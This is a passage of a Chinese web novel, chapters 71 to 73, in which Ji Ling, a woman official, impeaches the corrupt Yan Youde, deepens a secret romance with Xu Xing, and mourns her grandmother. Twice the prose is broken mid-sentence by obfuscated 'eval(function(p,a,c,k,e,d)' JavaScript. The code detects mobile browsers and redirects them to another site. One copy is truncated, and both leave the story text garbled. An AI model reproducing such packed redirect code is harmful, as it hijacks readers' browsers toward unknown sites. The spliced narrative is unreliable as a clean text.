季泠抓起徐行的手指,开始肆无忌惮地摆弄。 “说吧,徐大人,你是什么时候惦记上我的?” 徐行轻笑,可见季泠已然坦然接受他们关系的转变了,嘴上亦是不愿绕过他。 “徐大人也不知道。” “嗯?”季泠一脸震惊地转头,只能看见他微微扬起的嘴角。 “总之,是在你入户部之后吧。若非要说个具体的日子,我实在说不出。莫说你要花几日相通,我也困惑了许久。这样一出,真是意料之外。” “哼,怎么就意料之外了?我难道不值得你喜欢吗?” 总之,她与徐行说开了,那她更不要顾及徐行的身份。 如此一想,季泠不免有些得意,京城果然是个好地方,她才来了五年,就将户部主事之位与吏部侍郎的心收入囊中了。 政绩卓越啊! 但她还是该收敛些的,莫叫这位吏部侍郎轻易发现她那些离经叛道的心思。 “再没什么比你更值得了。只是,你也明白,我一生都走在世俗划定的方寸圆矩之内,忽然来了这么一件不可自控的事情,总叫人不免讶异。” 季泠倒是十分认可。若是徐行不说,她不去深思,她这辈子也不会想到,徐行会对她有什么别生的心思。 “你会后悔吗?” “后悔什么?” “京城贵女,我也见了不少了,各个长相出挑,温柔体贴,世代簪樱,势必能助你日后仕途顺遂。而我,既没有家族倚仗,兴许还要借你手中的权势,更不必说,我脾气很坏,还爱使性子。这怎么看,好像都是你更吃亏些。” 季泠向来不爱避讳这些。她是女子入仕的先行者,单打独斗胜算太低,她定要充分利用一切可得之力。从前,她与他私下达成合作也好,她偷偷算计他也罢,都是出于师生知己的情谊。可若是到了男女之情上,那他的权势,必然会被她毫不客气地化为己用, 徐行莞尔,下巴抵在她发旋上,嗅着她发间若隐若现的香味。 他注意到她敛下的眉眼与落寞的语调。 “那又如何,爱本是没有 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“我想着,从我那里指一个嬷嬷过来给你。” “为何?你这么快就想安排我的生活了?”她张口便带几分抗拒。 “你先别急,听我说。你在这儿住了这么久,内院就这几个年岁小的丫头伺候,不说成熟稳重,能替你分忧,怕是还要你作一家之长,去照料她们。” “你父母亲人又远在宁川,不能帮上你,你这偌大的浮云堂,空空荡荡的,也没有能照应主事之人。” “之后,户部之事更棘手,书院又正兴,你如何能兼顾呢?瞧瞧这回,便把自己折腾的病了三日。” 季泠听了,不得不赞叹徐行心思细腻,才来一回,便看出她的分身乏术。 “虽说,你如今想要仕途坦荡,便费尽心力筹谋。可这条路,我也是走过的,你这样的做法,太伤身。你的身板,可不是铁铸的,该休息时便要好好休息。“ 季泠乖巧地点点头,她困得睁不开眼了。 “那你要指谁来呢?” “你不用担心,是我院里打理琐事的韩嬷嬷,为人稳重,心思又细,性格也平和,你之前也见过的。你也不用担心我会向她打听你的私事儿,若有什么,我亲自来问你就是。” 徐行又补充了一句:“回头,我再挑几个身手不错的侍卫给你。后面的日子不太平,我有时照顾不及,你自己也要多多留心。若是有什么要紧事,打发他们来找我就是。” 季泠轻捏了捏他的手,代替她的回答。 她是真倦了,一日公私百事地砸下来,眼下已经寻梦神去了。 徐行将她抱起,季泠几乎无甚感觉,一落回床上,便沉沉睡去。 轻声退出浮云堂,一转身就见伸头张望的林微和白芨白蔹,见他出来了,又立刻装作若无其事的模样。 这身边的人还真是和她们主子一样。 徐行在她们三人面前留了步:“日后烦请几位姑娘替你们大人多上些心。有任何事情,来找我就行。” 三个人如小鸡啄米般频频点头,徐行又想起来什么,补充了一句:“下面的小丫头不安分,以后就别进浮云堂里惹你们大人不快了。” 说罢,又嘱咐她们口风严些,莫将他来季家的事情传出去,而后才离开。 “咱们大人和徐大人这是…”白蔹看着徐行的背影,又看向暗下的里屋,傻傻作问。 “小女孩家家的,别多事。”林微板起脸,留下一句话,也轻飘飘地走了。 71. 金水河旁剑拔弩张 徐行光临石竹巷季家太过频繁,浮云堂的四个丫头从初次的震惊恐慌,逐渐变为习惯淡然。 而他与她的密谋自然绝不容许任何人知晓。 一架几乎与季泠马车别无二致的马车总会在下值之后,从六部衙门后面的深巷出发,绕上几圈小路,再自然地驶入已经由徐家护卫守卫的前院。 “河南清吏司主事贺晋环,这几日我就要上疏将他渎职之事戳破了。” 季泠指了指书案上的东西:“湖广管理粮仓的仓吏仓使听从当地的布政、按察、都司,而这些人基本都与闫有德有来往。户部管着天下财政,无论是起送粮还是留存粮,他们只要从中摸上两把,就足以装满自己的腰包。” “他们敢这么做,全是仗着着闫有德在京城替他们罩着,闫有德收了钱,自然乐意效劳。去年湖广大丰,他们因此更是掉进钱洞中了,直接毫不客气地将多于往年的部分全部收入囊中。” “只是今年特殊,他们前脚刚借漕船之难将粮食神不知鬼不觉地转走,后脚临近湖广的河南汝宁府、南阳府就糟了蝗灾。地方官员怕朝廷降罪,趁着蝗灾没有蔓延到周边,两府一合计,就将消息压了下来,粮食不够,就借着贺晋环找到闫有德,将湖广粮仓中的粮食暗地里调了过去,平了这场蝗灾。” 徐行觉得不对劲,“蝗灾这样大的事情,京城怎么一点声音都没有?” “我曾多次去往湖广,在湖广见到的,也和在京城听到的完全不一样。地方对于中央而言,鞭长莫及,官员要是个有良心的,收了底下人的钱,能办实事,便也算了。只是若是鱼肉百姓,横行霸道,做了当地的土皇帝,那才叫难。百姓的声音又怎么能传得出州府的城墙呢?曾经周平压下鞑靼进犯的消息,不就是前车之鉴吗?” “闫有德一个户部郎中,怎么如此手眼通天?竟然能将手伸到河南司去?” 季泠摇摇头,放下手中的账册,疲惫地靠在椅背上,看着局促在玫瑰椅中的徐行,板起先生的样子教育他。 “这就是你少见多怪了吧。你在刑部和吏部走得一帆风顺,上司都器重你、忌惮你,陛下又赏识你,汉王更是尊敬你,你的官路简直是畅通无阻。你不知道,我们这些人有多眼红,恨不得把你拉下来,自己去感受一下这样没有崎岖的顺畅。” “自我入户部以来,各司之间的势力盘根错节,闫有德不知道是顾忌我出身公主府还是什么别的缘故,许多事情都跳过我,或是冷待我,我只好自己找法子。他手下那个员外郎,我曾经的直属上官,更是他的马屁精,闫有德要他打我左脸,他恨不得再补一下右脸。” 闫有德。 徐行又想起闫有德那只手…… 每每想到此事,他便再难自抑,那把怒火简直就要将他烧个彻底,将他自己都吓一跳。 可他不能在季泠面前表现出来。 他在她心目中,应当还要是那样运筹帷幄的温润君子才好。 待到漕粮一事解决,他非把那只手剁下来不可。 徐行看季泠搭在四出头官帽椅的搭脑上,也不顾木头膈得脸疼。 其实,此番将她调离,也是他存了私心的。 他不知道,若再让季泠在闫有德手下,那色痞子还能干出什么腌臜事。 “你从前从未说过这些。但你的政绩却很漂亮,吏部众人见了你的记档,无不称赞的。” 季泠自然看出徐行的诧异和心疼,只是不在意地耸耸肩:“都已经过去了,现在我也不在他手下讨生活,也总算是能喘口气。更何况,我也不是小孩儿了,受了委屈就到处找人哭诉,别人只会觉得我没本事。再加上我是个女人,他们更要将此混为一谈,看不起我。 “好在刚入户部时结识了扶春兄,他倒是传授我不少诀窍,后来你又送来了章钧龄,闫有德多多少少也收敛一些。” “只是闫有德确实是个厉害人物,门厅热闹,宾客盈门,户部上下的关系打点得十分妥当,谁喜欢好茶美酒,谁喜欢风雅之物,谁喜欢歌舞佳人,他都摸得门清,全能将事情打点到人家的心尖上。这点却是我怎么样也学不来的。” “人各有所长,你已然是同辈佼佼。” 季泠得瑟一笑:“那是自然。也不看看我为此如何焚膏继晷,克尽厥职。不是我自夸,我看啊,就算是你这位吏部侍郎,当年也必定比不过我。” 徐行走到官帽椅后,低头见她这副齿少气锐的模样,分明还是孩子心性,忍不住伸出手轻轻掐了掐她的脸,也乐得奉承她两句。 “季大人自然是远远超过我的。我这仕途走得如此顺畅,还不是全靠当年季大人的提点和这两年的襄助。只怕十年之后,季大人就要远胜我去,成为咱们当朝第一位女阁老了。” 季泠被哄得朗声大笑:“哪里是靠我走到的今日,你分明是靠你这张嘴,连闫有德这样见风使舵的如簧巧舌都比不过你了。难怪那些老臣都霸占着高位舍不得退下,日日有人这样捧着自己,一个眼神便有人鞍前马后,换我也舍不得放下大权,回乡种田呢。” 她总算是明白,为什么徐行能够年纪轻轻,便荣登三品了。 一张温和面皮,以柔克刚的本事,林下风气的气质,再加上不动声色、顺其自然的奉承,谁能不被他迷惑住呢。 想到此处,季泠便又觉得,自己动了心,实在是情理之中。 徐行所言非虚,户科给事中虽然品秩不高,但权力极大。 稽查六部百司、参与延议延推、掌侍从规谏、补阙拾遗,季泠任职三月以来,便是众人眼中翻手为云,覆手为雨的女罗刹。 暮春的一声惊雷,引得百官侧目转身,当日日朝,季泠立于殿内左右,珥笔记旨,一身青袍,宠辱不惊,风雨不扰。 瓢泼大雨之下,严诚身边的小太监亲自送来一把油纸伞,为季泠遮挡疾雨。 “季大人,留步。” 金水河畔,季泠闻声,微微一笑,转身看向来人。 闫有德挂着天衣无缝的笑容,眼中含冰。 “闫大人。”季泠拱手行礼,却似乎并不恭敬。 闫有德看了看季泠身侧的小太监,嘴角略抽动一番,示意欲与她同行。 “季大人,如今也是官运亨通了呢。” “不敢,托闫大人的福,在户部提心吊胆两余年,如今虽不在闫大人手下做事,可执庸仍记得,闫大人对执庸的屡次照拂。” 大雨滂沱,季泠的青袍渐晕出拂晓黛山之色。 她的步履徐缓,闫有德不得不慢下来,以求与她同频话事。 “季大人何必自谦?只是,本官的题奏本章,到了六科,还要季大人多多照拂才是,莫要多了什么,少了什么,让本官忧心。” 季泠淡笑,背手立于朱门之前,转身看向闫有德。 “闫大人多心了,掌驳正违是执庸之职。户部奏本,执庸必然谨遵科抄封驳之绳矩,不敢有违。” 闫有德再也装不下去,死死盯着季泠,她的脸上被飞雨溅上几点水珠,他却觉得,如此肤凝清露的面庞,几乎是她一直以来迷惑众人的伪装。 “是吗?可本官十日前递交的奏本,今日却仍未有动静,我正想请问季大人,是否是六科人手不足?抑或是,有人生了不该有的心思,公报私仇?“ “闫大人言重了,六科接到各衙门的题本奏章,皆要五日一送内阁,以备编纂。又怎会是有人公报私仇呢?还是说,您质疑六科过奏流程?“ 闫有德冷下脸:“季执庸,你别得寸进尺。” 季泠却仍不减风度:“兴许是您的请安折子深得圣心呢?闫大人,且等着吧。” 语罢,季泠略拱手倾身,拂袖而去。 翌日,闫有德等到了回复。 户科给事中季执庸奏劾河南清吏司主事贺晋环及其部下,隐瞒河南蝗灾、越权私调湖广储粮。 闫有德申诉漕船沉没的奏本被压在季泠弹劾其徇私渎职的奏疏之下。 养心殿内,皇上龙颜大怒,将茶盏一扫而落。 “成珏!” “在。” “此案由你接手细查!将湖广郎中与员外郎革职,封宅等候查办。贺晋环,关入诏狱,给朕严审!朕不信,一个主事,能将蝗灾一事毫无风声地压下。” 成珏抱拳领命。 自从两年前鞑靼进犯隐瞒不报一事之后,皇上十分痛恨地方官员的瞒报之举。闫有德与贺晋环实在是咎由自取了。 只是如此一来,湖广司人手不足,重新提拔新人,又需要一定的时间熟悉。 皇上思来想去,决定复用季泠,命她暂代闫有德郎中一职,并让山东司员外郎祝扶春兼领湖广司员外郎。 闫有德在户部狼狈而出之际,季泠风光重返。 户部衙署前,两纵人相撞。 闫有德一见季泠,当即怒喝:“季执庸!” 季泠看着他身后的锦衣卫,心情大好。 “闫大人。”季泠懊恼地住了嘴,又开口道:“噢,错了,现在你不是大人了。闫有德。” “你休要猖狂!” “我偏要猖狂。你能耐我何?”季泠欣赏着闫有德如酱面色,扬颌走到他身边,“本官早已说过,我爬的速度,比你快。” “呵,你以为,你能讨得了好吗?”闫有德压下声音,在她耳边诅咒。 季泠斜眼睨去,见他陡然平静又幸灾乐祸的表情,心中闪过不安。 “你坐到我的位置上,我自然,要奉上大礼相贺。” 季泠还来不及反应,闫有德便被锦衣卫押走。 衙门前,祝扶春与章钧龄正笑脸相迎。 “季大人。”两人恭敬请安,季泠立刻扶起他们,佯装发怒:“快进去,别让我回来第一日,就被人抓住个恃宠生骄的名头,害惨我。” 祝扶春笑了:“哪敢呐!若有这样多嘴的人,我第一个不放过的。往后可要季大人罩着我了。” 祝扶春见她意气风发的模样,不得不感慨,三年前,季泠初来乍到,她还需仰仗他指点帮扶,如今一晃,季泠居然已经成为他的上官了。 季泠也不放过他:“怎么,对着一个年纪阅历都不如你的女子喊一句大人,委屈你了?” 祝扶春立刻认错:“自然不会,只是恨自己能力不足,混了这么多年,竟还没有出头...也是托了你的福,如今还能得皇上青眼,兼了湖广司的事务。” 一人兼多职,下一回升官,也该轮到他了吧。 季泠也不继续跟他插科打诨,吩咐章钧龄去将这三个月的四科账册汇总给她后,示意祝扶春坐下。 “你那可有过往山东司应对旱涝之灾的对策?” “自然是有...只是你突然要这个做什么?湖广近几年并没有什么灾害吧。” “虽然是没有,但今年天气反常,河南多地都发了蝗灾,我有些担心湖广……总之,未雨绸缪,不是坏事,总比到时候真天降大祸,我们毫无准备,措手不及的好。” 祝扶春却觉得季泠未免惊弓之鸟,今年虽然气候炎热,但湖广风平浪静,并无异状。 但既然她求到他头上,他不妨走一遭,在她跟前刷刷脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季泠也回他一笑,复低头继续写着公文:“有你这样的挚友,我也无憾。得了,咱别在这儿互诉衷肠了,一会儿我还要去吏部问询上任之事,你先替我去寻一下我要的东西吧。” 祝扶春办事实在利落,才过两日便将自己能找着的书册全都搜罗来。 季泠坐在书房看书时,突闻屋外有男子的声音,当即走到院中,就见祝扶春由丫头引入,才刚跨过院门,抱着一只大木箱,暂歇在了石桌边上。 她连忙迎上去道:“你怎么亲自来了,叫手下人送一趟就行了。” “不妨事,书册杂乱,我担心你不熟悉,倒不如自己送过来,也好告诉你细节。”祝扶春乏力地甩甩手:“该给你放在哪?” 季泠想接手,却被祝扶春避开:“重得很,你说放哪就是。” “书房吧。”季泠带他走进书房,将沉重的书箱暂时先搁置在双层书桌上。 祝扶春将里头的书册案卷都拿了出来,一一给她介绍:“最上面的十几本都是各地的县志府志,你可以看看,记载了各地大灾的情况。后头的几本是我曾看过的救灾之策,也许有些帮助。不过各地情况皆不相同,每年的河水气候也不同,你也只能大致参考一下。” 季泠看着祝扶春替她准备齐全,其中还有祝扶春夹带的笔记心得,十分详尽。 她开心地坐下来,将书册都拿出来,粗粗地先翻看一下:“真是要多谢你了扶春兄,难为你这么周全地都翻出来。” “如今你也算是我的上司了,替上司做事,是我的职责。” 季泠也不管他诨笑,只自己先看着:“我就不招呼你了,你自己坐下吧。” 祝扶春站在她身后,见她看得专注,也不打扰她,只四顾看着书房陈设,摆弄摆弄那盆茉莉。 “坐便不坐了,本就是顺路来你这儿一趟。不过,你那外院怎么有那么多人?上回来时,还未曾见过。” 他方才进来时,险些以为走错了人家。 外院层层侍卫把守,不知道的,还以为是什么朝廷重臣的府邸呢。 季泠手指停在县志书页上,似乎投入其中,等再抬头时,就见祝扶春疑惑地看着她。 “你刚刚说什么?” 祝扶春笑道:“没什么,你这儿书倒挺多。” “你自己看着,若是有中意的,你就拿去。” 祝扶春一一摸过书架上的书脊,在一本书上停留。 那本书与旁侧的其他书格格不入,已然老旧,但却没有尘灰,摆在书架的正中间,想来是主人时常翻阅的。 祝扶春抽了出来,随意翻开,书册里头赫然夹着一张短笺。 祝扶春暗暗盯着上头的四个字,转过身倚靠在书架上,看向案前专注的季泠,语气里满是好奇:“山止是谁?” 季泠一惊,立刻从官帽椅上跳起来,伸手就要去将东西抢回来。 祝扶春仗着比季泠高几分,将手高高举起,含笑看着她在自己身前发怒蹦跶,偏就不让她拿到。 “快给我!” 见到季泠真的恼怒了,他才放下手还给她。 “所以,山止是谁?” “一个故交。” “噢?故交?是男是女?是建州人士?还是京城少爷?”祝扶春在脑海中仔细搜寻,但对这个名字完全没有印象。 季泠没好气地白了他一眼:“扶春兄,你一个大男人,怎么这么爱探听别人的私事?” “怎么说你我也算是朋友,关心关心你,怎么能叫探听呢?” 祝扶春见她小心地将书放回书架,宽袖下的拇指摩擦着指节。 “天色已晚,我就不打扰你了,若是你后续还有什么疑问,尽管来找我,我暂时也不需要这些,你就都留着吧。” 季泠点点头,起身将他送至堂前。 “碧萝,好生送祝大人出去。” 祝扶春回头看了看浮云堂,跟着前方的丫头,若有所思地离去。 72. 亲逝宁川卿属京城 “在做什么呢?”季泠抬头,徐行正走进书房,一身云水蓝吴绫直裰,清雅端方,教人只一眼,便祛忧静心了。 季泠拖着下巴,撑在小几上,亮眼看他,又迅速低下头,暗骂自己色令智昏。 “你怎么来了?” “怎么?祝扶春来得,我来不得?” 徐行在罗汉床坐下,淡淡应她,伸手接过她手中的团扇,替她扇着风。 “哪个没眼力的又跑你那儿告状去了?” “生气了?” “自然。”季泠抬眼睨了他一眼,徐行却仍淡淡的,她真无奈,怎么又似乎是她的错了? “你一上门,不替我解决正事,反而捕风捉影的来捏我的错处,这是宽和君子该有的行为吗?” 徐行叹一口气,靠过去和她一起看山东大灾治疏。 “你若不喜欢,我以后不问了。闫有德的事情还没完,我担心有后手,才留心多问了几句。” 季泠翻着页,示意他再扇大些:“不妨事。这方面我不太懂,你多留心些也是好的,免得叫人将我暗害了去。闫有德那儿情况如何了?“ 徐行摇摇头:“锦衣卫负责,暂时探不到什么消息。 她点点头,总之,有徐行在,她便可以不用再费心去盯着了。 她眼下要担心的是,湖广粮仓中不足的粮食该如何补上。除了被贺晋环私调的粮食,那些刻意被清出的陈粮,以及三十多万石的漕粮,去向究竟在哪儿。 闫有德如今仅有包庇调粮与漕船失职一罪,对他根本造不成实质性的威胁,左不过是丢了官罢了。 可他那日的话,却让季泠觉得,事情没有如此简单。 湖广是谁与他勾结? 户部是谁替他撑腰? 户部之外还有谁是他的帮手? 她短时间还理不清。 “执庸,不好了...”林微突然闯进书房,跑的上气不接下气。 季泠盘腿坐在罗汉床上,仍在捋着思路,只问了一句:“怎么了?” 林微看了看徐行,犹豫了一会儿,还是开口了:“宁川的信……” 季泠猛地睁大眼,踩着鞋面就站起来:“出事了?……是谁?” 她担心的事情终于来了。 她每长一年,她的亲人就年老一岁,身体肯定是会变差的,她迟早要接受这种天人永隔的痛苦。 林微拿出一封信,递给季泠。季泠伸出手,却看着自己的手在颤抖,滞在空中半晌,却不敢触碰一下。 林微轻轻说:“是你的祖母。她,过世了。” 季泠没流泪。 只是接过那封信的前后,感觉呼吸有些受阻了。 林微看着季泠,直到她被徐行揽住,才退出书房。 她快忘记忽然失去亲人的感觉,只记得那是一个很漫长的冬夜,只是一夜,她就失去了一切。之后便再无光明了。 书房内,季泠仍紧紧攥着那封信,几乎要被她的指甲抠破。 徐行从她手中抽出来,打开信时,季泠看见上头的字:“季泠,祖母身故,速归。” 是父亲请族长写的。 她看着那八个字,渐渐在她眼中模糊成雨季荷塘里的花。 她又想起幼时与祖母相处的场景。 其实她和祖母感情并不深厚,只有幼时在宁川时,和祖母住过一段时间。 其实祖母对她挺好的,她父亲是祖母的幺儿,她又是父亲的长女,祖母多少爱屋及乌。 只是,祖母对她母亲太苛刻了,她总是情不自禁地将自己带入母亲的视角,久而久之,她就对这个苛待儿媳的祖母产生怨怼。 “你要对祖母孝顺些,你看见她都没有个好脸色。”她母亲总是这样说。 “可是她对您并不好!我不喜欢她。”年幼的季泠大喊。 她仍记得她十五岁那年的元旦,母亲让她替自己去山上烧香,季泠一个早上跑了五座庙,认真地承接过母亲过去十几年做过的事情。 她回来后,母亲十分欣慰,对祖母说,今日泠儿替她去烧了香,已经是个大姑娘了,能替家里分忧了。 祖母也笑着,见到季泠时却冒出这样的一句话:“泠儿是大了,可惜是个姑娘家。” 她的热忱和兴致顿时被打得烟消云散,挂着脸从她的祖母面前走开。 她又想到她小时候,妹妹出生时,祖母非常不情愿地抱着妹妹,怪母亲生不出儿子。 她从此对祖母再也没有好脸色。 可是,人死怨散,此时此刻,她的悲痛被罩在蒙了灰尘的网兜里。 她该思念祖母吗? 这样是不是背叛了母亲。 那她该冷酷地无视吗? 可是幼时过年,祖母还会将自己仅有的私房钱拿出来,给她买糖吃。 徐行轻捏了捏她的手,问道:“航青,你,何时动身?” 季泠终于回神,将徐行放在小几上的信拿起来,纸上的痕迹可见她父亲的悲慌。 此时此刻,最痛苦的莫过她的父亲吧,在父亲还未及冠之时,祖父就命丧大海。从此由祖母一人将他辛苦拉扯长大。 如今,他已经双亲俱无了,她的父亲再也不能做孩子,只能做个顶天立地的大人。 季泠沉默了许久,屋外蝉鸣不休。 终于,她站起身,走到书案边,看着满案公文,艰难万分地吐出几个字:“我不能回去。” 湖广税粮一事没有解决,京城往返宁川,就算再是快马加鞭,顺流而下,也至少要一个多月,那时候事情就未必是她能掌控的了。 况且,她没有名义回去。 她在户部不是季泠,而是季执庸,她用什么理由告假回宁川呢?如果任性而为,只会多生事端。 “徐大人,帮我回信吧。就说,季泠不孝,难以抽身。” 说完,就毫不在意地坐在书案前。 她突然感觉眼睛很干涩,眼皮都快粘在一块儿了,正需要大大地哭一场,流出一些眼泪来,润一润这双眼睛。 可是她哭不出来。 一个时辰过去了,蜡烛都烧完了好几只,徐行站在季泠身侧,书案上的书页,一个时辰都没被翻动过。 灯花跳了一下,季泠僵僵转头看去,徐行将公文合上,拉起她。 他的声音轻轻柔柔地响起,像是请求她做伴:“我们出去走走吧。书房里有些闷,吹会儿风,咱们再回来。” 季泠呆呆地点了点头,任由徐行拉着她走出了浮云堂,走出了石竹巷,走到冷清的街道上。 皓月初圆,暮云飘散。 长街上仍有三三两两的行人车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446334|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马,徐行牵着季泠,身后不远处跟着迎星抱月与一队侍卫。 夏夜的风没有几分凉意,季泠却突然打了一个寒战。 徐行揽住她,一双手提着她无处安放的灵魂,在长街上放步漫游。 从石竹巷沿街前行,走了许久,长街上的人越来越少了,就快到檀山巷了。 暗夜里,微风轻拂香四溢,是玉兰胡同里的玉兰花开了。 季泠自顾自地走进玉兰胡同,走到玉兰树下。 徐行站在胡同口,看见季泠抬头看着高大的玉兰树,片刻后又坐下了,再片刻后,直接不顾灰土,躺在了地上。 徐行叹了一口气,舍□□面与端庄,在看不清尘灰的黑夜里,躺在地上,躺在她身边。 两人就用一双手臂作枕,看着满天的玉兰花在灿烂地盛开。 春夜玉兰,以天作配,亮比繁星。 季泠突然没头脑地来了一句:“先生,建州没有玉兰花。” 徐行侧过头看着她:“所以,你属于京城。” 不知怎得,这句话像是戳中了季泠的咽喉,她鼻头蓦然一酸,干涩的眼睛开始胀痛,压抑了许久的眼泪再也停不下来,像春日连绵不绝的细雨,一丝一线地顺着她的脸颊,流进耳朵,流进头发,流进玉兰树的根系中,流进宁川的大海里。 她睁着眼睛,看见玉兰在眼中变成了星星,是与宁川天穹同一片的星星。 亲人的死亡是一串炮竹,有了一个开头,就会无穷无尽地继续下去。直到这串炮竹炸完了,天地都归于平静,剩下的那个形单影只的人儿就再也没有挂念,也就再也没有软肋。 可是万家灯火之际,四海欢歌之时,孤灯孤人望孤月,是冷天里盖上透湿被衾的滋味,寒意无声无息地扎入骨髓之中。 突然,不知道是哪里飞来了一只蝴蝶,像是早有目标,朝着他们,毫不偏倚。 季泠素来害怕昆虫,晃神之时立刻坐起,下意识想要逃开。 可那只黄黑相间的蝴蝶偏要故意为之,停歇下翅膀,落在了季泠的衣摆上。 季泠正欲挥手把蝴蝶赶走,却突然被击中一般,顿了一下,又收回了动作,盘腿静静地看着那只蝴蝶停留在她身上。 她记得,之前偶然听过一个传闻,过世的亲人会化身蝴蝶,停留在自己惦记的人身上,那是他们在人世间最后的一些念想。 她再也压制不住,声泪俱下,哭的上气不接下气,玉兰树上的花儿也被这样的架势吓到了,落了几朵下来,以尽生灵哀思。 徐行将她揽入怀中,由她伏在他曲起的膝上,在悠长胡同里,放纵自己的悲恸。 他看着玉兰花落在颤抖的肩头,又掉落在地上。 他看见那只黑黄相间的蝴蝶轻轻振翅,飞到了他面前,停留一会儿后,像是再也没有遗憾般飞入深夜的天空中,再也寻不见了。 不论她远在宁川的父亲如何责怪,如何发怒,如何痛苦,如何遗憾。总归季泠已经见到了她的祖母。 一川奈何的两端,恩怨入水远去,她们再无负担地继续前行。 之后的每一个春天,京城的那一树玉兰都开的很好,季泠在朝中深深扎根,蓬勃生长。 到了最后的最后,没有人再能对她说,可惜是个姑娘家。 季泠成为了所有姑娘的理想。 73. 福无双至祸不单行 初夏将临时,季泠正素服以尽哀思。 湖广与河南一事,皇帝已经下令,允徐行与应惟绅协理都察院合锦衣卫查办,只是不知为何,迟迟没有能够断罪的实质证据。 诏狱内,贺晋环已将自己知道的一切都吐了出来。 徐行擦了擦手,抬步离开。 “徐大人,审讯之事上,竟也是一把好手。” 一道冷声突然出现,徐行微微皱眉,偏头看向身后。 “成大人神出鬼没,倒叫本官意外。” 昏暗刑室之外,成珏闪身,出现在烛火前,与徐行并身走向光亮之处。 “我自然是神出鬼没,否则,如何替陛下办事呢?” “倒是徐大人,近期,行踪可是要注意一些的。” 诏狱之外,徐行猛然止步,转头看向成珏。 上一位锦衣卫指挥使突然暴毙,不过十日,成珏便领衔上位。 其中内幕,他一猜便知。 成珏见他略显敌意的眼神,桀骜一笑,歪头替他扫去肩头毫不存在的脏污。 “徐大人三品大员,理应前呼后拥。六品官的一驾马车,摆锡事件,未免太寒酸了些,怎么配得上徐大人的身份呢?” 徐行眼神陡然转冷,扫过成珏,不见任何端倪。 “欸,徐大人,别紧张嘛。”成珏一笑,“你我又不是敌人。” “亦不是朋友。” “素来听说徐大人脾气温和,怎么和传闻竟不同呢?我看,徐大人的脾气,大得很呐。” “还是说,徐大人的好脾气,都留给了,其他人?”成珏意有所指,上下打量。 徐行淡然一笑,看向成珏腰间佩剑,皇帝钦赐,无上荣宠。 “成大人说笑了,本官行事待人,向来一视同仁,从不偏私。” 成珏听闻,嗤笑挑眉,靠近徐行,以极低的声音问道:“哦?奉天门前共赏烟火的一视同仁?还是长街牵手漫步的一视同仁?” 徐行身侧的览风听见,双眼猛然锐利,死死盯着成珏。 徐行却仍云淡风轻,叫成珏觉得实在无趣。 “成大人为陛下分忧解难,日理万机。可若捕风捉影,以己度人,容易失去圣心。吏部事忙,本官先走一步。” 微微颔首,徐行转身离去,马车帷幔落下之际,笑意无踪。 “少爷,去石竹巷吗?”览风问道。 徐行抬手制止:“不,回吏部。” 成珏明显是知道了什么。 他和季泠的关系暂时不能公之于众,只是锦衣卫无处不在,成珏知道,倒也正常。 可既然知道,却未禀报给皇帝,而是私下用此试探他,成珏城府太深,他难以把握。 他在锦衣卫没有人手,这对他,很不利。 他只能小心行事。 浮云堂内,季泠透过景窗,看着暮云飘散。脚步声传来,她翘首以盼,是林微。 “徐大人身边的人传口信来了吗?” 林微点点头,季泠正准备喊来白芨去沏他爱喝的茶,却被林微制止。 “抱月来说,徐大人近期事忙,不便再来。” 季泠一顿,倒也理解,“可他不是才审的贺晋环吗?他说审完就来告知我的。有没有说结果如何了?” “贺晋环知道的太少,只与河南几个州府的府同知与通判有来往,可再怎么审,也审不出其它了。” “闫有德呢?私调仓粮不是闫有德唆使的吗?为何他还未被抓入诏狱之中?” 林微道:“从目前已有的证据来看,只能证实他唆使之罪,可这罪也实在不大,哪怕当时贺晋环如实上报蝗灾,户部给出的赈灾措施必然也是从附近州府调用储粮。朝中已经有许多御史替他说话,说他是心系百姓而一时冒进。” 季泠震惊之余,随即了然:“好啊,我说他被革职的时候怎么那副无所谓的态度,原来早就盘算好了,大罪都落不到他的头上……” “可是不对啊!”季泠看着书案上的账簿,勉强理清思绪,“我们想要坐实的,又不是他唆使之罪。漕船渎职之罪也不过是他的幌子。” 林微立刻领会了季泠的意思,她们被现有审讯的结果带偏了,这几日一味地想找到证据,坐实闫有德的这两桩疑罪。可现在坐实了,才发现,根本无关痛痒。 “闫有德真狡诈!他当日那份奏本根本不是给皇上看的!是给我看!他就是知道,我在六科一定会审他的奏本,要引我参他渎职,再用贺晋环的事情败露为他加一桩唆使之罪,用这两件事掩人耳目!” 季泠重重拍案,她被这老狐狸耍了! 她竟然才意识到! “可最要紧的,是那沉没的漕粮,少入的新粮,多出的陈粮,都进了谁的口袋中?他们将漕船沉没归于天灾,将仓粮少数归于赈灾,分明就是要将此事彻底遮掩过去!” 是谁,有如此大的本事,能将这么大的事情,轻描淡写地抹去? 深夜万籁俱寂之时,林微替季泠研墨,季泠执笔草拟呈详,翌日递交由她的上官应惟绅。 应惟绅粗略翻看,抬头看了一眼恭敬的季泠,问道:“你这些东西哪来的?” 季泠拱手应答:“禀大人,是下官推断的。” “推断?也就是说,并无实据?” 季泠头皮发麻,只能应下:“是……下官无权搜寻证据。只是,大人想也明白,此事实在蹊跷,怎可能陈粮腐坏、漕船沉没、蝗灾调粮同时发生呢?事出反常必有妖。” 应惟绅看了看她,目光复杂,“行了,我知道了,你先下去吧。” 季泠眉头微皱,还想说些什么,却被应惟绅的眼神慑住:“你要知道,眼下,你是暂代湖广司郎中。当务之急是尽快补齐湖广粮仓空缺,避免大灾发生而无力应对。至于这份呈详,我会仔细看看的。” 季泠眼睛一亮,嘴角提笑,却又听他说,“只是,没有切实证据之前,你不要插手此事,也不要对任何人言说此事,明白了吗?” “……是。” “行了,下去吧。” 季泠拱手告退。 应惟绅要她不插手此事,意思应该就是,由他负责了…… 